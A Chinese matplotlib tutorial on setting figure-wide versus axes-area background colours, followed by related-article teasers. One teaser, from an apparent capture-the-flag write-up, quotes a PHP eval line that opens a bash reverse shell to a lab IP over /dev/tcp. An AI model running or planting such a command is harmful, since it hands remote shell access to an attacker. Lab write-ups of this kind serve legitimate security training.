python画图|图像背景颜色设置

news2024/9/22 9:50:12

python画图出来的默认图形背景是白色,有时候并不适合大家表达想要表达的意思。

因此,我们很有必要掌握自己设置图形背景颜色的技巧。

【1】官网教程

首先请各位看官移步官网,看看官网如何设置,下述链接可轻松到达:

Color Demo — Matplotlib 3.9.2 documentation

官网代码非常简洁,图形也很漂亮,为此,很有必要读懂代码。

【2】读懂代码

首先,计算模块nump和画图模块matplotlib引入:

import matplotlib.pyplot as plt #引入matplotlib模块画图
import numpy as np #引入numpy模块做数学计算

然后即刻定义了变量:

t = np.linspace(0.0, 2.0, 201) #定义自变量
s = np.sin(2 * np.pi * t) #定义因变量

 再之后进行了颜色定义:

# 1) RGB tuple:
fig, ax = plt.subplots(facecolor=(.18, .31, .31)) #定义要画图,图形背景颜色RGB=(.18, .31, .31)
# 2) hex string:
ax.set_facecolor('#eafff5')

根据colors页面的说法,这两个可能是重复定义,1)是按照RGB的形式定义颜色,2)是按照六位字符的形式定义颜色。

为此,我们将在第三章做一个测试,此处继续解读代码。

剩余部分比较简单,分别设置X轴和Y轴的标签颜色:

ax.set_xlabel('Time [s]', color='c') #设置X轴名称,颜色为青绿色
# 5) a named color:
ax.set_ylabel('Voltage [mV]', color='peachpuff') #设置Y轴名称,颜色为peachpuff

然后设置了图形的线型和颜色:

# 6) a named xkcd color:
ax.plot(t, s, 'xkcd:crimson') #画图,t为自变量,s为因变量
# 7) Cn notation:
ax.plot(t, .7*s, color='C4', linestyle='--') #画图,t为自变量,.7*s为因变量
# 8) tab notation:
ax.tick_params(labelcolor='tab:orange') #对轴标签的颜色按照橙色设置

最后表示要输出图形:

plt.show() #输出图形

输出结果为:

bd10374fdb614b6ab42953a05985fc91.png

图1

【3】测试代码

前述已经提及,设置背景颜色有GRB和六位字符两种方式,因此官网代码算是重复定义,因此尝试将两种定义方法并列输出。

首先定义并列画图:

fig, [ax1,ax2] = plt.subplots(1,2)

然后分别为ax1和ax2设置颜色:

ax1.set_facecolor((.18, .31, .31))
# 2) hex string:
ax2.set_facecolor('#eafff5')

之后为X轴和Y轴的设置,保持ax1和ax2完全一致:

# 3) gray level string:
ax2.set_title('Voltage vs. time chart', color='0.7') #设置图名,颜色
# 4) single letter color string
ax2.set_xlabel('Time [s]', color='c') #设置X轴名称,颜色为青绿色
# 5) a named color:
ax2.set_ylabel('Voltage [mV]', color='peachpuff') #设置Y轴名称,颜色为peachpuff
# 6) a named xkcd color:
ax2.plot(t, s, 'xkcd:crimson') #画图,t为自变量,s为因变量
# 7) Cn notation:
ax2.plot(t, .7*s, color='C4', linestyle='--') #画图,t为自变量,.7*s为因变量
# 8) tab notation:
ax2.tick_params(labelcolor='tab:orange') #对轴标签的颜色按照橙色设置

此时的完整代码为:

import matplotlib.pyplot as plt #引入matplotlib模块画图
import numpy as np #引入numpy模块做数学计算

t = np.linspace(0.0, 2.0, 201) #定义自变量
s = np.sin(2 * np.pi * t) #定义因变量

# 1) RGB tuple:
fig, [ax1,ax2] = plt.subplots(1,2,) #定义要画图,图形背景颜色RGB=(.18, .31, .31)
ax1.set_facecolor((.18, .31, .31))
# 2) hex string:
ax2.set_facecolor('#eafff5')
# 3) gray level string:
ax1.set_title('Voltage vs. time chart', color='0.7') #设置图名,颜色
# 4) single letter color string
ax1.set_xlabel('Time [s]', color='c') #设置X轴名称,颜色为青绿色
# 5) a named color:
ax1.set_ylabel('Voltage [mV]', color='peachpuff') #设置Y轴名称,颜色为peachpuff
# 6) a named xkcd color:
ax1.plot(t, s, 'xkcd:crimson') #画图,t为自变量,s为因变量
# 7) Cn notation:
ax1.plot(t, .7*s, color='C4', linestyle='--') #画图,t为自变量,.7*s为因变量
# 8) tab notation:
ax1.tick_params(labelcolor='tab:orange') #对轴标签的颜色按照橙色设置

# 3) gray level string:
ax2.set_title('Voltage vs. time chart', color='0.7') #设置图名,颜色
# 4) single letter color string
ax2.set_xlabel('Time [s]', color='c') #设置X轴名称,颜色为青绿色
# 5) a named color:
ax2.set_ylabel('Voltage [mV]', color='peachpuff') #设置Y轴名称,颜色为peachpuff
# 6) a named xkcd color:
ax2.plot(t, s, 'xkcd:crimson') #画图,t为自变量,s为因变量
# 7) Cn notation:
ax2.plot(t, .7*s, color='C4', linestyle='--') #画图,t为自变量,.7*s为因变量
# 8) tab notation:
ax2.tick_params(labelcolor='tab:orange') #对轴标签的颜色按照橙色设置

plt.show() #输出图形

运行后输出结果为:

453d8d711734433b97af3fb9da6ce998.png

图2

由图2可见,每个图都按照自己的颜色铺满了坐标轴,和图1不一样,图1整个背景颜色与图2左侧一致,坐标轴内部颜色和图2右侧一致。

因此尝试追溯不同,仔细对比会发现:图1对应代码再subplots中设置了颜色,图2对应代码直接删除了,因此尝试把图2代码更改为:

fig, [ax1,ax2] = plt.subplots(1,2,facecolor=(.18, .31, .31))

此时我们获得了期待的图片:

9558999e7ee2402b9ca5df776b161e41.png

图3

由此可见:在subplots中定义的facecolor,设置了整个画图区域的背景颜色,单个ax.set_facecolor()设置的是坐标轴内部的颜色。

【4】总结

掌握了图像全区域背景颜色设置和坐标轴区域颜色设置技巧。

 

 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2154778.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

Lubuntu电源管理

lxqt-config-powermanagement 打开托盘图标 Show icon 电源管理 电源管理管理笔记本电脑电池的低电量、关闭笔记本电脑盖的操作以及计算机长时间闲置时应采取的措施。 用法 LXQt 电源管理会监控您的电池、笔记本电脑盖、空闲情况,以及当您按下电源或睡眠按钮时会发…

IS-ISv6单拓扑存在的问题

文章目录 IS-ISv6单拓扑配置单拓扑存在的问题解决 IS-ISv6单拓扑B站视频传送门 IS-ISv6单拓扑 配置 R1:sy sy R1 ipv6 inter g0/0/0 ip add 12.1.1.1 24 ipv6 enable ipv add 2001:12::1 64 inter loop0 ip add 1.1.1.1 32 ipv6 enable ipv address 2002::1 128isi…

30个GPT提示词天花板,一小时从大纲到终稿

PROMPT 1 中文:构建研究背景与意义,阐述研究问题的紧迫性和重要性。 English: Establish the research background and significance, elucidating the urgency and importance of the research question. 中文:设计研究目的与目标&#xff…

TDOA方法求二维坐标的MATLAB代码演示与讲解

引言 时间差定位(Time Difference of Arrival, TDOA)是一种用于确定信号源位置的技术,广泛应用于无线通信、声学定位等领域。通过测量信号到达多个接收器的时间差,可以计算出信号源的二维坐标。本文将通过MATLAB代码演示如何使用TDOA方法来求解二维坐标。 TDOA原理 TDOA…

LeetCode题练习与总结:回文链表--234

一、题目描述 给你一个单链表的头节点 head ,请你判断该链表是否为回文链表。如果是,返回 true ;否则,返回 false 。 示例 1: 输入:head [1,2,2,1] 输出:true示例 2: 输入&#x…

CocosCreator 3.x 实现角色移动与加载时动态屏幕边缘检测

效果 思路 通过cc.view全局单例 View 对象获取屏幕尺寸加载时根据屏幕尺寸动态计算上下左右边缘 代码实现 import { _decorator, Component, EventTouch, Input, input, Node, view } from cc; const { ccclass, property } _decorator;/*** 玩家控制脚本*/ ccclass(Player…

Linux之实战命令03:stat应用实例(三十七)

简介: CSDN博客专家、《Android系统多媒体进阶实战》一书作者 新书发布:《Android系统多媒体进阶实战》🚀 优质专栏: Audio工程师进阶系列【原创干货持续更新中……】🚀 优质专栏: 多媒体系统工程师系列【…

树及二叉树(选择题)

树 在树中,总结点数为所有结点的度和再加一 5、设一棵度为3的树,其中度为2,1.0的结点数分别为3,1,6。该树中度为3 的结点数为_。 二叉树 设二叉树的所有节点个数为N,度为零的结点(叶子结点…

P9235 [蓝桥杯 2023 省 A] 网络稳定性

*原题链接* 最小瓶颈生成树题,和货车运输完全一样。 先简化题意, 次询问,每次给出 ,问 到 的所有路径集合中,最小边权的最大值。 对于这种题可以用kruskal生成树来做,也可以用倍增来写,但不…

数字基带之相移键控PSK

1 相移键控定义 相移键控是指用载波的相移位变化来传递信号,不改变载波的幅度和频率,可用下面的公式表示。 是载波的幅度,是载波的角频率,是载波的瞬时相位,是载波的初始相位。如果需要调制的信号为1bit的二进制数&am…

spark读取数据性能提升

1. 背景 spark默认的jdbc只会用单task读取数据,读取大数据量时,效率低。 2. 解决方案 根据分区字段,如日期进行划分,增加task数量提升效率。 /*** 返回每个task按时间段划分的过滤语句* param startDate* param endDate* param …

[Web安全 网络安全]-CSRF跨站请求伪造

文章目录: 一:前言 1.定义 2.攻击原理 3.危害 4.环境 4.1 靶场 4.2 扫描工具 5.cookie session token的区别 6.CSRF与XSS的区别 二:构建CSRF的payload GET请求:a标签 img标签 POST请求:form表单 三&…

Prime1 靶机渗透 ( openssl 解密 ,awk 字符串处理,信息收集)

简介 Prime1 的另一种解法 起步 从初级shell开始 反弹 shell 路径 http://192.168.50.153/wordpress/wp-content/themes/twentynineteen/secret.php 其内的 shell 为 <?php eval("/bin/bash -c bash -i >& /dev/tcp/192.168.50.147/443 0>&1"…

【linux】nice命令

Linux中的nice命令是一个强大的工具&#xff0c;用于调整进程的优先级&#xff0c;进而影响它们在CPU上的资源分配和执行顺序。以下是关于nice命令的详细解释&#xff0c;包括其用途、语法、参数、示例以及使用建议。 一、用途 nice命令主要用于控制进程在CPU上的调度优先级&…

Springboot3 + MyBatis-Plus + MySql + Uniapp 实现商品规格选择sku(附带自设计数据库,最新保姆级教程)

Springboot3 MyBatis-Plus MySql Uniapp 实现商品规格选择sku&#xff08;附带自设计数据库&#xff0c;最新保姆级教程&#xff09; 1、效果展示2、数据库设计2.1 商品表2.2 商品价格和规格中间表2.3 商品规格表 3、后端代码3.1 model3.2 vo3.3 mapper、server、serverImp3…

DNS是什么?怎么设置

NS是什么意思?有什么用呢?专业的说DNS就是域名系统 (Domain Name System)的简称&#xff0c;也就是IT人士常说的域名解析系统。主要是让用户在互联网上通过域名找到域名对应的IP地址&#xff0c;因为IP地址都是一串数字(例如&#xff1a;192.168.0.1)不方便记忆&#xff0c;便…

华为全联接大会HUAWEI Connect 2024印象(一):OpenEuler

因为和华为有课程合作&#xff0c;此次应邀参加了华为全联接大会 &#xff08;HUAWEI Connect 2024&#xff09;&#xff0c;分几次分享一下自己的见闻。 HUAWEI Connect 2024的规模很大&#xff0c;不过主要面向的应该是企业市场&#xff0c;我比较关注的嵌入式系统的内容很少…

学习笔记——RegNet:Designing Network Design Spaces

RegNet&#xff1a;Designing Network Design Spaces RegNet&#xff1a;设计一个网络设计空间 论文地址&#xff1a; https://arxiv.org/pdf/2003.13678 1、前言 在这项工作中&#xff0c;作者提出了一种新的网络设计范例。 作者的目标是帮助增进对网络设计的理解并发现跨设置…

Stable Diffusion Fooocus批量绘图脚本

当当当挡~&#xff0c;流动传热数值计算之余发布点AIGC相关文章&#xff0c;希望大家能喜欢~ 1 Stable Diffusion各种UI分析对比 提示&#xff1a;此部分主要是对SD各种界面的简要介绍和对比&#xff0c;只关注Fooocus批量绘图的读者可直接跳到第二部分。 Stable Diffusion …

进程间的通信4 共享内存

共享内存 1.共享内存简介 共享内存是将分配的物理空间直接映射到进程的用户虚拟地址空间中&#xff0c;减少数据在内核空间缓存共享内存是一种效率较高的进程间通讯的方式在 Linux 系统中通过 ipcs -m 查看所有的共享内存 共享内存模型图 2.共享内存的创建 1.函数头文件 #…